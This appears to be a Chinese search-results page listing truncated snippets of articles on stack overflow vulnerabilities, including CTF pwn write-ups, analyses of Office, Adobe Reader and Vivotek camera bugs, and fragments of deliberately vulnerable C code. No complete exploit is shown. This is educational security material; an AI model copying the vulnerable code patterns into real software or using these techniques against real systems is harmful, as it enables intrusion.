  • 和我一样,有一些计算机专业的同学可能一直都在不停地码代码,却很少关注程序是怎么执行的,也不会考虑到自己写的代码是否会存在栈溢出漏洞,借此机会我们一起走进栈溢出。
  • WindowsDNS服务器远程栈溢出漏洞的应用研究 WindowsDNS服务器远程栈溢出漏洞的应用研究 WindowsDNS服务器远程栈溢出漏洞的应用研究
  • 栈溢出漏洞攻击原理及防护技术

    千次阅读 2015-08-12 17:08:51
    栈溢出漏洞作为缓冲区溢出漏洞的一种特定的表现形式,在现实网络环境中比较普遍。本文将从栈溢出漏洞的原理、攻击形式及防护方法等方面进行介绍 一、 栈溢出漏洞的原理 栈溢出(Stack Overflow)是在网络与...
  • Vivotek 摄像头远程栈溢出漏洞分析及利用 近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃。 漏洞作者@bashis 放出了可造成摄像头 Crash 的 PoC :...
  • 栈溢出漏洞利用小结

    千次阅读 2016-10-07 17:24:35
    总结一些栈溢出漏洞利用的技巧。在分析一个可执行文件前,需要先利用file命令判断是32bit还是64bit,注意函数传参时栈平衡。然后看看开启了什么防护,比如:NX、PIE、RELRO、FORTIRY、CANARY。如果开启了CANARY,就...
  • 今天总结下目前学到的栈溢出漏洞的利用思路 栈溢出漏洞简介 我们知道C语言中有些字符串操作函数不会对字符串的长度进行检查,比如strcpy。 #include<stdio.h> #include<string.h> char nam...
  • 文章目录5-溢出漏洞I一、布局程序的内存结构函数参数在中的顺序函数调用函数调用链的布局二、易受攻击的代码缓冲区溢出的代价三、如何运行恶意代码环境准备 Environment Setup恶意输入的创建(badfile)Task...
  • Microsoft Office XP SP3,Office 2003 SP3,Office 2007 SP2,Office 2010等多个版本的Office软件中的Open XML文件格式转换器存在栈溢出漏洞,主要是在处理RTF中的“pFragments”属性时存在栈溢出,导致远程攻击者...
  • PWN简单栈溢出漏洞获取shell

    千次阅读 2019-08-13 16:49:12
    PWN简单栈溢出漏洞获取shell 题目来源 下载链接(密码akcz) CTF的时候需要的是获取系统shell,然后通过shell去拿到flag。 条件所限,那我们就先将程序放本地。也就是本地机也充当远程服务器角色 1. 运行程序、查看...
  • 具体资料:初步认识栈溢出漏洞 栈溢出的初步利用 具体实现效果 其实原理很简单,就是利用溢出修改函数返回的地址,令其跳转到另外一个位置 溢出首先改变了EBP储存的内容,然后紧...
  • 初步认识栈溢出漏洞

    2015-04-08 14:25:00
    初步认识栈溢出漏洞 什么是栈? 栈是一种机制,计算机用它来将参数传递给函数,也可以用于放入局部函数变量,函数返回地址,它的目的是赋予程序一个方便的途径来访问特定函数的局部数据,并从函数调用者那边...
  • Youngzsoft CMailServer远程栈溢出漏洞来源:bruiser 日期:2008-07-09 11:13:45 受影响系统: YoungZSoft CMailServer 5.4.6 描述: ------------------------------------------------------------------------.....
  • 刚刚做了Jarvis OJ上的两道题,一个是基础的level0,一个是tell me something . 这两个都是基本的栈溢出的题都只开了NX保护。 ...主函数中直接有一个栈溢出漏洞和上一个leve0的漏洞是一样的。 但...
  • 在潜伏17年的“噩梦公式”漏洞(CVE-2017-11882)被曝光修补之后,之前的漏洞程序EQNEDT32.EXE在windows 10系统下仍然没有开启ASLR保护,因此其利用非常容易,在修补之后可以发现微软的发布的是二进制补丁而不是对该...
  • 文章目录漏洞描述分析环境RTF文件格式...Microsoft Office XP SP3,Office2003SP3,Office2007 SP2,Office 2010等多个版本的Office软件中,Open XML文件格式转换器存在栈溢出漏洞,主要是在处理RTF中的pFragment...
  • CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞0x1:漏洞描述0x2:分析环境0x3:基于字符串定位的漏洞分析方法0x4:样本Exploit技术分析0x05:动态调试 0x1:漏洞描述 ​ CVE-2010-2883是Adobe Reader和...
  • 含有溢出漏洞的C代码 #include <Windows.h> #include <stdio.h> #define PASSWORD "15PB" int VerifyPassword(char* pszPassword, int nSize) { char szBuffer[50] = {0}; memcpy(szBuffer, ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,090
精华内容 436
关键字:

栈溢出漏洞